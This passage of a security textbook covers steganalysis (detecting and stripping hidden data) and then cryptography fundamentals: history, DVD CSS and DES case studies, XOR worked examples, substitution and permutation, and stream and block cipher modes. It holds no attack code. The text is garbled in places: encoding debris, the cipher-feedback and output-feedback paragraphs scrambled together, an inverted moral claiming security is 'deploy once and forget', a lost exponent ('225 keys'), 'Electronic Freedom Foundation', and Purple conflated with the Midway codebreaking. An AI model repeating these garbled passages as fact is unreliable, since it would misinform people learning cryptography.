Any system administrator who has responsibility for a networkís security may need to protect against hid-den data. This data may be placed by inside users, outside users, or posted to publicly accessible Internet re-sources. So there is a possibility that controversial or even illegal materials could be residing on any network - and no one would know. A businessís exposure from the storing of such ìcontrabandî can vary. On a private network you may simply be the storage for employeesí illicit behaviors. On a public network you may be an international source for illegal communications, or a point of distribution for illicit or improper information.

So how does one protect their network from such activities? How do we prevent others from hiding data on resources that are ours to defend?

Steganalysis - Detecting and Defeating Stego

There are two aspects to steganalysis - detecting stego and defeating it. Detection involves analyzing a car-rier host to determine that information has been hidden in it. This can involve looking for ìsignaturesî left by known stego tools, by comparing original images to carrier images.

Defeating stego is another process altogether. As you may imagine, scanning every image on the Internet is not a viable option for searching for hidden data. Also it is often not possible to gain access to original im-ages, nor is it feasible to have knowledge of every stego tool that may be available for use. So being able to defeat stego without necessarily having to know that it is in use can be helpful. This is particularly useful in situations where you host a publicly available resource where media from outsiders is posted. You may not care what information is hidden in these images, just that it is removed before you post them for the world to see.

How Do We Detect Stego?

Though it is difficult to detect stego visually, it is possible to detect it electronically. Having the original source image or knowing the stego tool that was used can make this process easier. Even if the files look identical and have the same file size, simply performing a Unix ìdiffî or Windows ìfcî (file compare) will show all of the differences between them on a bit-by-bit basis (and there will be many).

It may seem ridiculous to imagine having the original image for such comparisons. However, in investiga-tions where home computers, digital cameras, and other devices are taken in to custody, original images may be available or retrievable. Also, since a uniquely created image could give clues to the location or iden-tity of the creator, it is feasible that a stego user may use publicly retrievable files for their carriers. If this is the case, steganalysts may be able to find original images on the Internet using multi-media search engines and the like. If you do not have access to the original source files, there are other checks that can be run to detect the likelihood of stego. With less advanced or poorly written stego tools it is sometimes possible to find an obvious signature that can be detected in the output stego image. This is the exception and not the rule. Most often stego must be detected by finding a much less obvious signature. This signature is found through the analysis of the characteristics that separate a ìnormalî carrier file from a stego file that is gener-ated by the method in question. This process is only limited by the number of files that you have access to for examination and the complexities of the tool used. So knowing the tool that was used and having access to it is an invaluable asset when doing such analysis. Statistical commonalities are found between sets of original files, as well as between sets of processed stego files. Differences are then drawn between the before and after sets. These differences can be used as a fingerprint for stego files created by the tool being studied.

170

STEGA

NO

GRA

PHY

This fingerprint is limited strictly to the tool used for the stego process that you are examining (or ones that use a similar method of data concealment). For example, a detection method may determine whether or not a file has stego content as created by S- Tools, but not if it has stego content in general.

Despite these complexities, being armed with the statistical signatures of many popular types of stego tools can be an invaluable aid in detecting the likelihood that there is a hidden stego payload in a given carrier file. Using such detection methods may at least give an analyst some direction, by pointing out possible carrier files that should be scrutinized further.

How to Defeat Stego

Sometimes it isnít as important to detect the presence of stego, as it is to make sure that it is impossible to retrieve any such hidden information. You may not care what content is contained in a Stego carrier file, just that it cannot be retrieved. If you are the administrator of a web site where you post content submitted from outsiders, it may be in your best interest to assure that there is no hidden content in the media that you are posting.

The key to defeating files with a stego payload is by removing any part of the hidden information. Even re-moving a small part of the hidden payload can keep it from being roperly extricated from the carrier file. This can be accomplished using any method to remove or change the data bits in the stego-affected area of the carrier file. The methodís effectiveness can vary based on the type of stego that was used to initially process the file.

One way to remove data from an image is to process it with a lossy compression type, such as jpeg compres-sion. This is especially effective on carriers containing substitution stego, since both jpeg compression and substitution stego act on the LSB of the values in the color table. Therefore, it is very likely that jpeg com-pression would remove much of the information hidden in a bitmap by a product such as S-Tools.

Another means to remove or change file information that can have a negative impact on a stego file is through the application of filters, effects, and other file manipulation techniques. These can be applied to images and sound files, both with similar effect. Anything that can change or remove the data bits in the affected area of the carrier file can be an aid in defeating stego.

Summary

Steganography is a powerful means to protect information. It more than protects the confidentiality and integrity of data; it also makes it truly secret by hiding it within other innocuous files. In process it has been around for a long time, though it has only recently been available and used electronically.

In this chapter we have introduced steganography, and discussed the three main ways that steganography is applied to data- injection, substitution, and file generation. We have also introduced and demonstrated some of the tools that are available for its application. Finally, we have explored steganalysis and ways to de-tect and defeat stego in your environment, such as analysis, filtering, and compression. As privacy concerns rise and regulations are passed, stego will become more and more popular. Despite the fact that there are limited uses for stego in the day-to-day operations of most businesses, many system administrators should still be aware of its use, and versed in means to detect and defeat it. There are reported cases of stego being used for illicit activity by terrorist groups, and awareness by all will help limit the effectiveness of this tool in such criminal activities. In any event, knowledge of steganography is useful as a means of data defense, as well as a means of protecting a business from exposure to risk.

171

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Encryption Basic

Cryptography, the science of secret writing, helps us communicate without revealing the meaning of in-formation to adversaries and also potentially validates who we are communicating with. It can protect any kind of data, from very sensitive information, such as Internet-based commerce and banking transactions, to harmless messages you would just rather no one else knew about, such as a letter to a friend. Cryptography, also abbreviated as crypto, can provide a great deal of confidentiality and integrity checks for information. However, it is not a silver bullet, and it can lead to a tremendous false sense of security unless used properly. Cryptography should always be a part of a larger defense-in-depth strategy, providing just one layer of the security onion.

We begin our study with some examples that illustrate the importance of sound cryptographic practic-es. We then take a closer look at the basic reasons cryptography, despite its potential power, is difficult to implement correctly. Then we dive into the technical material with a discussion of how it all works, building a foundation for the cryptosystems covered in the next chapter. Finally, we close by examining some crypto-systems we use in real life. But first, we define some basic terms and discuss why every security professional should care and know about cryptography.

Why Use Cryptography?

Cryptography is vitally important to information security. One of the main goals of cryptography is to help fend off eavesdroppers. The idea is that communicating over any kind of medium has the inherent risk that an unauthorized third party could be listening in, and we want to minimize or eliminate that risk. So, in its most basic form, cryptography garbles text in such a way that anyone who intercepts the message cannot understand it.

Nearly every cryptographic algorithm performs two distinct operations: encryption and decryption. En-cryption is the practice of coding a message in such a way that its meaning is concealed. How the message is transformed depends on a mathematical formula called an encryption algorithm or a cipher. Once a message has been transformed with a cipher, the resulting message is called ciphertext. Because ciphertext contains the message in its encrypted form and not its native form, it is unintelligible or has no meaning. For the recipient of the ciphertext to read the message, the recipient must decrypt it. Decryption is the process of transforming an encrypted message back into its original plaintext or cleartext form. It is important to note that a plaintext message refers to any type of message in its unencrypted form. A plaintext message is not just an ASCII text message; an executable is also considered a plaintext message if it is not encrypted.

Who creates these encryption algorithms? Computer scientists called cryptographers, who are well trained in several different fields of mathematics and usually work in groups, take many years to invent and refine ciphers. But with so much depending on cryptography, there are also individuals called cryptanalysts, who dedicate their lives to breaking ciphers. Some cryptanalysts work for the military and for governments; oth-ers are just interested in the study of ciphers and want to find weaknesses in ciphers to ensure they cannot be broken by others. The generic term for the study of both cryptography and cryptanalysis is called cryptol-ogy.

172

CRYPTOG

RAPH

ICM

ECHA

NISM

Milestones in Cryptography

There is a long, rich history behind modern cryptosystems. The slide lists a few (but by no means all) of the leading cryptographers whose work and ideas have been successfully incorporated into everyday products we routinely use. Modern-day cryptosystems are truly built on the shoulders of giants!

The mathematics behind cryptosystems can be abstract and complex. The process of developing new ciphers works best when the details behind the algorithms are available to everyone rather than kept secret. A good cryptosystem places all its security in the keys; knowing the algorithm should not be enough for a cryptanalyst to break the cipher. Ciphers under development must be open to intense scrutiny by cryptolo-gists worldwide to achieve the trust required for use in our growing e-commerce infrastructure.

Cryptography dates back to the ancient Egyptians when they began using secret writing called hieroglyph-ics as early as 3000 BC. The term comes from the ancient Greek word hieroglyphica, meaning sacred carv-ings. The Egyptians used this writing to hide messages from unintended recipients.

By the fifth century BC, the Spartans were using a scytale, a wooden staff of prescribed thickness with a strip of cloth or parchment wrapped around it. The cleartext message was written along the length of the rod so that when the cloth was unwrapped, it appeared to contain a stream of random letters. The recipient would then wrap the cloth on an identical scytale, thereby decrypting the message.

Egyptian Cryptogram

173

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Skytale - Cryptogram

Thomas Jefferson invented a wheel cipher in 1790 using a spindle containing 26 adjacent wooden disks that could be independently rotated. The letters of the alphabet were etched in random order around each diskís outer edge. The cleartext message (of 26 letters or fewer) could be spelled out along the length of the spindle by rotating the disks. Any of the other rows could then be used as the ciphertext. The recipient of the enciphered message could use an identical machine to spell out the ciphertext by rotating the disks and then finding the row that spelled out a sensible message.

World War II impressed upon the world the importance of cryptography. The Japanese military used a code called Purple to transmit orders and intelligence. Cryptanalysts stationed in Pearl Harbor broke the code in 1942. U.S. Navy Commander Joseph Rochefortís team intercepted and deciphered a Japanese message referring to a planned attack on an island in the Pacific referred to as AF. Although Rochefort thought this to be Midway Island, he could not convince his superiors. To prove his point, he sent a message in the clear in a poor cipher and stated that Midway Island was having water problems. Sure enough, the U.S. Navy intercepted an enciphered message from the Japanese shortly afterward stating that AF was having water problems. When the Japanese Navy launched its attack on Midway, the U.S. was prepared.

In the European theater, the Germans used a cryptosystem called Enigma. The Engima machine is one of the most famous cryptographic devices ever built. The British, French, and Americans worked for decades to break the cipher, which used two types of substitution ciphers. A monoalphabetic cipher always uses one particular letter to replace another. With a polyalphabetic cipher, one of several letters could replace any given plaintext letter.

174

CRYPTOG

RAPH

ICM

ECHA

NISM

Jefferson’s Disk

Japanese Purple Machine

175

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

German Enigma Machine

Perhaps the most difficult-to-break cipher is the Vernam Cipher, or the one-time pad, developed by AT&T. The key for a one-time pad consists of a truly random set of nonrepeating characters. A key letter is added modulo 26 to a letter of the plaintext, creating a message the same length as the plaintext. One letter of the key is used up for every letter of plaintext, making for a very long key, and the key can never be reused. The main disadvantage of the one-time pad is that a new lengthy key must be shared with the recipient for every message.

176

CRYPTOG

RAPH

ICM

ECHA

NISM

Cryptography Motivation

Since cryptography is a critical component of information security, practitioners must be competent in its application. Bruce Schneier applies a fitting proverb to the study of cryptography: The devils in the details.î Remember, one of the golden rules of information security is Defense-in-Depth. Never rely on a single mechanism to protect the security of your site, but use several defense mechanisms in conjunction. A firewall is a good starting point, but it needs to be combined with good system administration practices, en-forced policies, intrusion detection systems, virtual private networks, strong authentication, and encryption.

Listening to the news, you may have noticed how important cryptography has become. U.S. encryption ex-port regulations have been relaxed. The National Institute for Standards and Technology (NIST) announced the winning cipher for its Advanced Encryption Standard (AES). The patent on the popular RSA public-key cipher has expired. And the U.S. Department of Commerce no longer supports the Data Encryption Standard (DES).

Almost every bank uses DES hardware to protect its financial transactions. These systems have been in place for years, and all of a sudden the encryption hardware is not as secure as it was 10 years ago! What hap-pened? Well, it was not all that sudden - plans have been available on the Internet for years to build near-real-time DES decryption engines. For $200,000, you can build your own out of Intel chips. Most criminals would agree that $200,000 is a worthwhile capital investment for stealing billions and billions of dollars. Security professionals, especially those minding our money in the banks and any other institution, need to keep abreast of cryptography practices. In 1997, it became clear that high-priority targets were not safe when Rocke Verser, with the help of tens of thousands of Internet-connected computers, was able to de-crypt a message encrypted with 56-bit DES. But even with all that power, the cryptanalysis took four months to complete, so DES still seemed safe. But in 1998, the Electronic Freedom Foundationís custom-built crack-ing engine broke the same cipher in 56 hours. Without a community of cryptographers seeking out stronger ciphers, we would be at the mercy of old, weak ciphers that no longer offer protection.

We demand secure communications for electronic commerce (e-commerce), government, military, diplo-matic, and other applications. Cryptography is one of several technologies absolutely essential to e-com-merce. In particular, cryptography helps to assure customers that:

• They are communicating with the correct server, not a spoofed one set up by an imposter.

• Messages they send are actually delivered.

• Messages cannot be altered without the recipientís knowledge.

• They can prove that someone else did not send messages they sent.

• Only the intended recipient can read the message

Similarly, crypto helps assure e-commerce vendors that:

• They are communicating with the right client, not an imposter.

• The contents of the received message are correct and unaltered.

• There is no question about the identity of the sender.

• Only the individual purporting to be the author could have sent the message.

177

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

In the meantime, the underground uses cryptography to conceal its malicious activities. For instance, the Distributed Denial of Service (DDoS) network - protected by an encryption algorithm called Blowfish - was used to attack numerous online businesses, such as Yahoo, and employed encryption to protect its covert communications channels. If the bad guys are using it to protect/conceal their information, shouldnít the good guys be using it to protect their information? For defenders and attackers alike, the cyberscape of the new century will rely on cryptography.

A Real World Perspective

Now that we have examined the basic principles of cryptography and our motivation from a security and privacy perspective for using cryptography, we will examine some case studies of how cryptography is used today. The next few sections will focus on specific situations that illustrate the importance of good practices in cryptography. First, we will review the lesson the recording industry learned the hard way when it invent-ed a proprietary cipher implementation for DVDs. We will learn not to put our trust in large key lengths, even though they are generally stronger than small ones. Finally, we will take a quick look at cryptographyís role in e-commerce.

The DVD Protection That Failed

Everyone loves DVDs. Never before have we been able to see our favorite movies in such breathtaking detail on our home televisions. But not everyone is aware of the lessons in cryptography best practices that lurk behind the scenes of DVD mania:

1. Never believe in a secret or proprietary cryptographic algorithm. The algorithm will be eventually dis-covered, and if knowing the algorithm makes it trivial to decrypt a message without the appropriate key, all communications encrypted with that algorithm are compromised.

2. Never rely on a single technology (or any other measure) as your only line of defense. Defense-in-depth is layering countermeasures for completeness and redundancy. Just encrypting everything is not enough.

3. Above all, never attempt to write your own encryption system. There are plenty of superb algorithms with free implementations available. Unless you are a seasoned cryptographer, and you think you can improve on AES, Blowfish, RSA, and so on, do not bother trying.

So, what happened with DVDs? The motion picture industry spent years secretly developing its own stan-dard for encryption - the Contents Scrambling System (CSS). CSS attempted to prevent unauthorized play-ing of DVDs by encrypting the data on the DVDs. Each DVD included a key that could be used to decrypt the data and a hash (fixed-length value computed from the plaintext) to verify that the data was correctly decrypted. That key was encrypted and could only be decrypted with one of the player keys, which were built into every DVD player. Instead of submitting the CSS standard for review, which would have taken advantage of the collective brainpower of cryptologists worldwide, they implemented the standard them-selves, and released a product (DVDs) that relied on the cipher.

178

CRYPTOG

RAPH

ICM

ECHA

NISM

According to Frank Stevenson, who published a cryptanalysis of CSS in November 1999, the cipher was designed with a 40-bit key length (inadequate in itself ) to meet U.S. export regulations. However, only 225 keys are necessary in a brute-force attack. He estimates it would take less than 18 seconds on a 450 MHz PC to recover a disk key from the hash. According to Stevenson, ìIf the cipher was intended to get security by remaining secret, this is yet another testament to the fact that security through obscurity is an unworkable principle.î

Soon after, a couple of technologists, Canman and SoupaFr0g, decoded that magic algorithm and released a program that became very popular. DeCSS 1.2b pulls the decrypted data off the DVD disk and stores it so it can be played like any other multimedia file. Donít want to pay $20 for a movie DVD? No problem! Just ìbor-rowî it from a friend. And what can the movie industry do now? Sue Canman and SoupaFr0g for quadrillions of dollars?

Professional cryptanalysts spend their time looking for tiny flaws and even tinier clues in encrypted messag-es, so as to break the cipher. Canman was a very good amateur, and he broke an under-scrutinized crypto algorithm. For an algorithm to be good, it has to be objectively examined by people whose job it is to find flaws. The motion picture industry thought they would be clever, but with crypto, clever it is not sufficient. There is no substitute for public scrutiny of a cipher.

Large Key Lengths May Not Be Secure

Our second case study explores the risks of being overly confident of cryptographic solutions. All aspects of cryptosystems are subject to attack, especially the keys. Despite their importance, keys are seldom adequately protected. Many situations that threaten key integrity. When a workstation is compromised (or under surveillance by the FBI or other law enforcement), capturing keystrokes is trivial. A faulty cipher implementation may temporarily expose keys. But perhaps the most likely cause of key compromise is the tendency of humans to fail to protect their keys, storing them on sticky pieces of paper under the keyboard or blurting them out to anyone who telephones and claims to be with ìSecurityî or ìTechnical Support.î

In 1998, Stephen Northcutt served as the technical analyst to support a team of law enforcement agents to detect, investigate, apprehend, and convict a child pornographer. Interestingly, the perpetrator used cryp-tography to transmit the data right past Northcuttís intrusion detection systems (IDS). Because IDS uses pattern matching to detect anomalies, the encrypted data did not trigger any warnings.

How did he get caught? It was not hard. The first clue was that too much data was being transmitted. Top talkers on a network are conspicuous. The next clue is that even though the encrypted traffic slipped by the IDS, it does have a signature: white noise. You can detect an encrypted byte stream simply by counting the bytes that are the same. An even distribution indicates randomness, and therefore probably encrypted data. A good encryption algorithm enforces randomness to be resistant to known-plaintext and chosen- plaintext attacks (explained later in this book). However, if you examine the content, the payload data in a normal connection, it is probably anything but random. So detection was easy.

At this point, the law enforcement agents were ready to give up and bring in the suspect for questioning, assuming they could not possibly recover the cleartext data. But by examining other machines the suspect was using, Northcutt eventually found the key hard-coded in cleartext. Game over! Key-protection discipline is everything in this sport.

179

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Think about the Weakest Link

Any security solution is only as strong as its weakest link, so it is important for cryptography to be designed and implemented with as high a degree of quality as possible. The U.S. military uses cryptography devel-oped by the National Security Agency (NSA) for all classified and some additional communications. NSA provides more than just encryption hardware - they provide the keys and the rules. They have developed an entire cryptosystem infrastructure because they know there is more to protected communications than cryptanalysis-resistant algorithms.

Then there are the rest of us, many of whom strive to take our business online and offer a ì.comî business avenue. Traditional catalog retailers are rushing to establish an Internet presence, universities to offer online courses and exams, and so on. Just like the previous example of the criminal investigation, a number of things can go wrong when protecting information in transit and at rest. Cryptography provides us with a suite of tools that can help us with confidentiality, integrity, authentication, and non-repudiation (we will examine these later). Somehow, people feel safer when using HTTPS - a more secure protocol - rather than HTTP, and are more willing to use their credit cards. But consider the clerical worker earning minimum wage to process all the orders at the end of the day with access to thousands of credit card numbers. It is probably less likely that an attacker will sniff your network connection than bribe or threaten that clerical worker.

The moral: Security is accomplished through technologies or products you deploy once and forget about, and by creating systems and processes that are ongoing. Encryption needs to be built into systems and pro-cesses from the beginning - not tacked on later. Secure Sockets Layer (SSL) technology alone is no substitute for a comprehensive security system. Security involves the whole system - the processes, human behaviors, and risk management, as well as infrastructure. It is a never-ending activity.

Credit Card Numbers Over the Internet

If you ask a classroom of adult U.S. students how many of them use their credit cards to buy merchandise over the Internet, approximately 60 to 70 percent would raise their hands. If you then asked how many would pay for a meal in a restaurant with a credit card, usually at least 90 percent of the class responds. Is paying for a meal more secure? Actually, no. It is just that people have been doing it for a longer amount of time, so they perceive it to be more secure. But perception and reality can be two different things.

Letís examine these two scenarios. The next time you pay for a meal with a credit card, look down at your watch when the waitperson takes your card to process it. Normally, a total stranger takes your card into a back room and returns a few minutes later - long enough to secretly copy down your number. When the waitperson scans your credit card at the terminal, your number can be stored there for up to a week! Anyone with access to that terminal can retrieve your credit card information, and if you left a signed receipt, they have your signature, too.

On the other hand, when you buy something on the Internet, you enter the credit card information from the comfort of your own home, and the chance of someone intercepting it as it traverses the Internet is very slim. Even if someone does, the data is encrypted (when using SSL), so an attacker would not be able to read it.

Another threat to using credit cards in either scenario is associated with how the numbers are stored once the credit card company receives them. Many e-commerce businesses claim your information is secure be-cause they use SSL to protect the data. That might be true, but maybe they store it in plaintext on an Inter-net-connected server. An attacker can try to intercept an encrypted number, which would take a lot of work (if not an infinite amount of time) to crack. If successful, the attacker would have access to one credit card. Or, the attacker could break into the server - possibly much more easily - and gain access to many, many credit cards.

180

CRYPTOG

RAPH

ICM

ECHA

NISM

The Challenge We Face

So far, we have discussed the need for cryptography and introduced practical applications in our case stud-ies. We will now take a closer look at what are the real user requirements.

The diagram portrays the challenge of communicating over an insecure network. Alice and Bob wish to ex-change information securely. Their cipher is built on basic transformations, permutations, and substitutions. The result of the cipher is that the message is transformed so that, without knowledge of the key used in the system, the message is unreadable. Remember, even if someone knows how the algorithm works, without the key he should still be unable to decipher the message.

In addition to being unreadable by adversaries (confidentiality), we may have the following requirements:

Authentication: If Alice walks up to Bob and hands him a message, he positively knows the message is from Alice. Alice may require the cryptosystem to provide an equivalent service for her, validating the authenticity of the person with which they are communicating.

Integrity: It should be possible to prove the message has not been tampered with, that this message is ex-actly the same as the one Alice sent to Bob.

Non-repudiation: The system should provide validation so someone is able to prove in a court of law that Alice, and only Alice, sent the message.

The technology to do this is available, but for this system to work in practice, the non- technical issues are also important. Alice and every user of the system must be trained in its use and its limitations and have access to the keys, yet keep them protected and current. Processes must be as foolproof as practical. Think about social engineering, human error, and operator efficiency, accuracy, and understanding.

181

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

The Players

In this chapter, we have followed the convention of assigning human names to the participants in secure communications. We give the names Alice and Bob to two communicating parties.

It is also common practice to use the name Eve as the person who is trying to break the encryption or read Alice and Bob’s message. Although these names personalize our situations involving crypto, we need to remember they are just metaphors. Although we might say, “Alice decides to use crypto algorithm X,” keep in mind that users of crypto rarely make these kinds of deliberate, conscious choices. Alice probably bought some crypto product that selects a cipher from a set of available ones. The point is that users are generally not encumbered with the details of the cryptography.

Essential Mathematics

Now we turn our attention from Alice and Bob to bits and bytes. Cryptography is a mathematical specialty that includes aspects of probability theory, information theory, complexity theory, number theory, abstract algebra, and more. Our discussion of crypto, however, will not require delving into these fields. Nevertheless, there are a few mathematical operations that are necessary for understanding our subsequent discussion, namely the OR, exclusive OR (XOR), and modulo functions. These are discussed in the following sections.

Digital Substitution - (Encryption)

21 Bit Key

1010011 1010010 1001110

+

Plaintext in ASCII

C = 1000011

A = 1000001

T = 1010100

1010011 1010010 1001110

+ 1000011 1000001 1010100

____________________________

0010000 0010011 0011010

XOR Operation:0 if the compared bits are the same1 if they are different

182

CRYPTOG

RAPH

ICM

ECHA

NISM

OR and Exclusive OR

George Boole, a mathematician in the late 1800s, invented a form of logic algebra that provides the basis for electronic computers and microprocessor chips. His logical operations were a set of truth tables, in which each of the inputs and outputs were either TRUE or FALSE.

The Boolean Exclusive OR (XOR) function is one of the fundamental operations used in cryptography. The output of an XOR is TRUE if exactly one of the inputs is TRUE; otherwise, the output is FALSE.

Computations require numbers, so we use 0 and 1 instead of TRUE and FALSE. The output of an XOR opera-tion (denoted by the symbol) is ‡ if both inputs are the same, and the output is a 1 if the two inputs differ.

These properties of XOR make it very useful to cryptographers for two reasons. First, any value XORed with itself is 0 (0 ‡ 0 = 0, 1 ‡ 1 = 0). Second, any value XORed with 0 is

just itself (0 ‡ 0 = 0, 1 ‡ 0 = 1). Why are these properties important? Consider the following example.

Suppose Alice has a secret message to send to Bob, comprising the three-character message CAT. This trans-lates to a standard 7-bit ASCII bit stream:

1000011 1000001 1010100

Now, suppose that Alice and Bob have already shared the following 21-bit secret key:

1010011 1010010 1001110

Alice converts the plaintext into ciphertext by XORing the message with the key:

1000011 1000001 1010100

1010011 1010010 1001110

‡

====== ====== ======

0010000 0010011 0011010

The output of this algorithm, 0010000 0010011 0011010, now becomes the ciphertext.

183

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Digital Substitution - (Encryption)

21 Bit Key

1010011 1010010 1001110

+

Ciphertext

0010000

0010011

0011010

1010011 1010010 1001110

+ 0010000 0010011 0011010

____________________________

1000011 1000001 1010100

Bob receives the ciphertext from Alice and, in turn, XORs it with the secret key:

1010011 1010010 1001110

‡

0010000 0010011 0011010

=======================

1000011 1000001 1010100

The recovered plaintext is Alice’s original message. So XOR naturally acts as a cipher: The original message XORed with a key yields a jumble of bits; XORing that jumble with the key again yields the original message.

Another Boolean function sometimes seen in cryptography is OR. The output of an OR is TRUE if either of the inputs is TRUE; otherwise the output is FALSE. Using binary digits, the output is a 1 if either or both inputs are a 1; the output is a 0 only if both inputs are 0.

Plaintext In ASCIIC = 1000011 A = 1000001 T = 1010100

DK(C)=M

184

CRYPTOG

RAPH

ICM

ECHA

NISM

Essential Operations

The main goal of encryption is to garble text so someone cannot understand it. Two basic methods of en-crypting or garbling text are substitution and permutation. A third approach is actually a hybrid, a mixture of both. There are also two basic types of key encryption systems, one-key (symmetric encryption) and two-key systems (asymmetric encryption). The first methods we will discuss are for one-key systems. As you will see later, two-key systems are much more complex. In this section, you will learn that one-key systems are very effective, despite being based on high school mathematics.

Substitution

Substitution involves exchanging one character (or byte) for another. Simple substitution schemes use mapping so that one character would be substituted with another character to encrypt a message, with decryption being the reverse action. The mapping function is the key - that is, anyone who knows how the characters were mapped to encrypt the message can decrypt the message.

Consider a very simple example. Suppose we define the following mapping (only a portion of the alphabet is shown):

Plaintext: A B C D E . . .

Ciphertext: W K M P D ... To encrypt the word CAB,

Alice would substitute characters and send the string MWK. Bob, in turn, would reverse the substitution to recover the plaintext.

For substitution to work, there has to be a unique one-to-one mapping from plaintext character to cipher-text character. A many-to-one or one-to-many mapping would make decryption difficult or impossible. For example, if both A and C were replaced with W, you would still be able to encrypt the message, so CAB would become WWK. But now when we tried to decrypt it, we would not know if the W should be an A or a C since they are both mapped to the same letter.

185

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Rotation Substitution

In alternate substitution method that does not require mapping is rotation. In this type of substitution, we shift every character a set number of spaces. For example, if we shift A three spaces, it becomes D, B be-comes E, and so on. The Caesar Cipher, invented by Julius Caesar to encode messages to his generals, is a fa-mous rotation cipher. If Alice were using this “ROT-3” scheme, she would encrypt her message as “FDE”. In its day (roughly 50-60 BC), the Caesar Cipher was considered good enough to fool almost anyone because very few people could read, even fewer could write, and couriers would rather kill a snooper than let him capture a message. Caesar was no fool, though - he did not use just one encryption tool. He also transliterated Latin into Greek and used other forms of subterfuge.

Though many people believe the Caesar cipher is the earliest cipher, cryptography actually goes back nearly 2000 years earlier to ancient Egypt and China. For more information, look at the Crypto Timeline found at http://std.com/~cme/html/timeline.html.

Although character rotation is a trivial scheme, rotation ciphers came back into vogue in the early 1980s, pri-marily in the form of ROT-13. Shortly after USENET newsgroups and electronic mailing lists became popular, subscribers realized they did not always want to see the contents of a message. Some messages contained jokes that might offend some subscribers. Other messages might contain riddles or puzzles complete with answers that the recipients may not have wanted to see before reading the riddle or puzzle.

The answer was to encrypt (or obscure) jokes and answers using ROT-13. ROT-13 was never meant to be a strong cipher - it is trivial to break. The point was for the reader to make a deliberate effort to decipher the message. No one could later claim accidental discovery, nor could anyone ruin a puzzle by accidentally glimpsing at the solution. ROT-13 eventually became part of newsreader software and a common function of the Unix operating system. ROT-13 had another nice feature. Because there are 26 letters in the English al-phabet, ROT-13 is a symmetric operation; the same implementation will both encode plaintext and decode ciphertext. This is because performing ROT-13 followed by ROT-13 is actually ROT-26, which would take you back to the original letter you started with.

It is also important to note that, with rotation, if you figure out the mapping for one character then you’ve discovered the entire key.

These one-to-one forms of character substitution are very weak because they can be defeated with fre-quency analysis. Cryptanalysts long ago made tables showing the relative frequency with which letters, letter pairs (bigraphs), and letter triples (trigraphs) appear in a variety of languages. In all character-based languages, some letters occur with a greater frequency than others. In the English language, the letter E occurs approximately 13% of the time, and the letter T occurs approximately 9.3% of the time (see http://en.wikipedia.org/wiki/Caesar_cipher for details on this and other ciphers please refer to wikipedia. So by looking at the enciphered message, we can see which letter appears more often than most, and assume that the enciphered letter is an E. The next most frequently occurring letter would probably be a T, and so on. By looking at letter pairs (instead of just single letters), we can achieve an even more accurate guess.

Another flaw with substitution encryption is its predictability. If you use only one set of substitution rules, the encrypted message is easy to crack. Cryptographers responded by inventing more complicated substi-tution schemes.

186

CRYPTOG

RAPH

ICM

ECHA

NISM

Permutation

Permutation, also called transposition, shuffles the order in which characters (or bytes) appear rather than substituting one for another. Consider this simple example. Suppose that Alice and Bob chose the key word SCUBA to determine the character permutation order. If we alphabetize the letters in the key word, we ob-tain the string ABCSU. Because A is the first letter, it is assigned the number 1 and U is assigned the number 5; the string 43521 then determines the way in which we will move around letters. Alice takes her message, breaks it into blocks of five characters (because that is the length of the key word), and then moves the char-acters within each block accordingly.

Unfortunately, permutation is also relatively easy to break. Remember, however, that although a few thou-sand or million combinations is nothing for a computer, it can defeat an adversary using pencil and paper. Today’s computer-based methods still use substitution and permutation, but in combination, applied many times. Letís take a look at the mechanics of current encryption methods.

Ways to Encrypt Data

There are two ways to manipulate the data while encrypting and decrypting: you can break up the data into blocks and encrypt each block, or you can encrypt a stream bit-by- bit (or byte-by-byte). Hence, crypto schemes are generally classified as either stream ciphers or block ciphers, depending on how much informa-tion they manage at once and how the key is generated.

Stream Ciphers

Stream ciphers operate on a single bit, byte, or (computer) word at one time and implement some form of feedback mechanism so that the key is constantly changing. Ideally, the key in a stream cipher is at least as long as the plaintext being encrypted.

A keystream is generated first at both the sending and receiving ends. Both ends must be kept in synchro-nization with each other and produce identical keystreams. The keystreams also must be unpredictable by an outside observer; therefore, they must use keys. At the sending end, the keystream and plaintext stream are merged (for example, using XOR) to produce a stream of ciphertext that is transmitted. At the receiving end, the identical keystream is extracted from the ciphertext stream, recreating the original plaintext stream. Stream ciphers are highly dependent on the randomness of the keystream, and have vulnerabilities to noise during transmission. Imagine a bit being dropped or an extra bit being inserted during transmission!

Although there are a variety of stream ciphers, two are worth mentioning here. An auto key or self-synchro-nizing stream cipher calculates each bit in the keystream as a function of the previous N bits in the key-stream. It is named for its ability to keep the decryption process synchronized with the encryption process merely by knowing how far it is into the N-bit keystream. One problem is error propagation; a garbled bit in transmission will result in N garbled bits at the receiving end. Synchronous stream ciphers generate the key-stream in a fashion independent of the message stream by using the same keystream generation function at both ends. It is important that the key generation function appears unpredictable to an eavesdropper.

187

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Block Ciphers

Most crypto schemes used today are block ciphers, meaning that the scheme encrypts one block of data at a time. Block ciphers can operate in one of several modes. The mode you select for a block cipher directly af-fects the strength and performance of the cryptosystem. The following four modes are the most important:

Electronic Codebook (ECB) mode is the simplest, most obvious application; the key is used to encrypt the plaintext block to form a ciphertext block. Two identical plaintext blocks will always generate the same ciphertext block. This is considered a weak attribute of an encryption scheme. Although this is the most common mode of block ciphers, it is susceptible to a variety of brute-force attacks.

Cipher Block Chaining (CBC) mode adds a feedback mechanism to the encryption scheme. In CBC, the plaintext is XORed with the previous ciphertext block prior to encryption. In this mode, two identical blocks of plaintext never encrypt to the same ciphertext.

Cipher Feedback (CFB) mode is a block cipher implementation as a self- synchronizing stream cipher. CFB mode allows data to be encrypted in units smaller than the block size, which is useful in some applications, such as encrypting interactive terminal input. A 1-byte CFB mode, for example, would place each incoming character into a shift register the same size as the block, encrypt the character, and send the block. At the decrypted and the extra bits in the block (that is, everything above and beyond the one byte) are discarded.

Output Feedback (OFB) mode is a block cipher implementation conceptually similar to a synchronous stream cipher. OFB prevents the same plaintext block from generating the same ciphertext block by using an internal feedback mechanism that is independent of both the plaintext and ciphertext bit streams. re-ceiving end, the ciphertext is ndependent of both the plaintext and ciphertext bit streams.

